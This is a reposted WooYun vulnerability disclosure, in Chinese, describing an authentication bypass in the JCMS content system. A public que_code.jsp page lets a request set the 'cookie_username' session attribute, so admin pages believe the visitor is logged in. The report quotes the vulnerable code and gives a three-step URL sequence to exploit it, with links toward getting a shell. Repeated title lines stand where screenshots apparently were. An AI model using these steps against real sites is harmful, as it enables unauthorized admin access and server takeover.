神刀安全网

漏洞标题: jcms系统session重置导致getshell

漏洞详情

披露状态:

2016-02-23: 细节已通知厂商并且等待厂商处理中
2016-02-27: 厂商已经确认,细节仅向厂商公开
2016-03-01: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2016-04-22: 细节向核心白帽子及相关领域专家公开
2016-05-02: 细节向普通白帽子公开
2016-05-12: 细节向实习白帽子公开
2016-05-27: 细节向公众公开

简要描述:

详细说明:

jcms系统session重置导致getshell

在/jcms/jcms_files/jcms1/web1/site/module/oss/que_code.jsp

code 区域
<[email protected] import="jcms.util.ValidateCode"%>
<%
String sessionId = request.getParameter("sessionid");
out.clear();
ValidateCode code1 = new ValidateCode();
if(sessionId==null)
sessionId = "";
code1.setSessionName(sessionId);
code1.getValidateCode(request,response);
%>

String sessionId = request.getParameter("sessionid");

直接通过sessionid获取值

code1.setSessionName(sessionId);

然后又直接设置session

而在我们的jcms中的setup(后台管理制作端)中又只判断其中cookie_username是否为空

不为空即就登录

可参考如下:

http://**.**.**.**/bugs/wooyun-2015-0107138

code 区域
String strUser = (String)sessions.getAttribute("cookie_username");

// 判断strUser值 是否为空?

if( strUser == null || strUser.trim().length() == 0 ) {

out.println('请先登录!')

return;

} //如果为空,则未登录,直接返回

利用过程如下:

1、**.**.**.**/jcms/setup/opr_licenceinfo.jsp(如果后台未更改或者未设置权限提交下)

你会发现需要登录

2、**.**.**.**/jcms/jcms_files/jcms1/web1/site/module/oss/que_code.jsp?sessionid=cookie_username

3、再次访问**.**.**.**/jcms/setup/opr_licenceinfo.jsp即可

提供5个测试案例

http://**.**.**.**

http://**.**.**.**

http://**.**.**.**

**.**.**.**

**.**.**.**:8080

**.**.**.**

选取其中做演示

**.**.**.**

漏洞标题:  jcms系统session重置导致getshell

漏洞标题:  jcms系统session重置导致getshell

漏洞标题:  jcms系统session重置导致getshell

后台getshell参考http://**.**.**.**/bugs/wooyun-2014-061360

漏洞标题:  jcms系统session重置导致getshell

漏洞标题:  jcms系统session重置导致getshell

漏洞标题:  jcms系统session重置导致getshell

漏洞标题:  jcms系统session重置导致getshell

漏洞标题:  jcms系统session重置导致getshell

就不一一shell了

http://**.**.**.**/jcms/setup/opr_licenceinfo.jsp

漏洞证明:

漏洞标题:  jcms系统session重置导致getshell

漏洞标题:  jcms系统session重置导致getshell

后台getshell参考http://**.**.**.**/bugs/wooyun-2014-061360

漏洞标题:  jcms系统session重置导致getshell

漏洞标题:  jcms系统session重置导致getshell

漏洞标题:  jcms系统session重置导致getshell

漏洞标题:  jcms系统session重置导致getshell

漏洞标题:  jcms系统session重置导致getshell

就不一一shell了

修复方案:

版权声明:转载请注明来源 老虎皮@乌云

转载本站任何文章请注明:转载至神刀安全网,谢谢神刀安全网 » 漏洞标题: jcms系统session重置导致getshell

分享到:更多 ()

评论 抢沙发

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址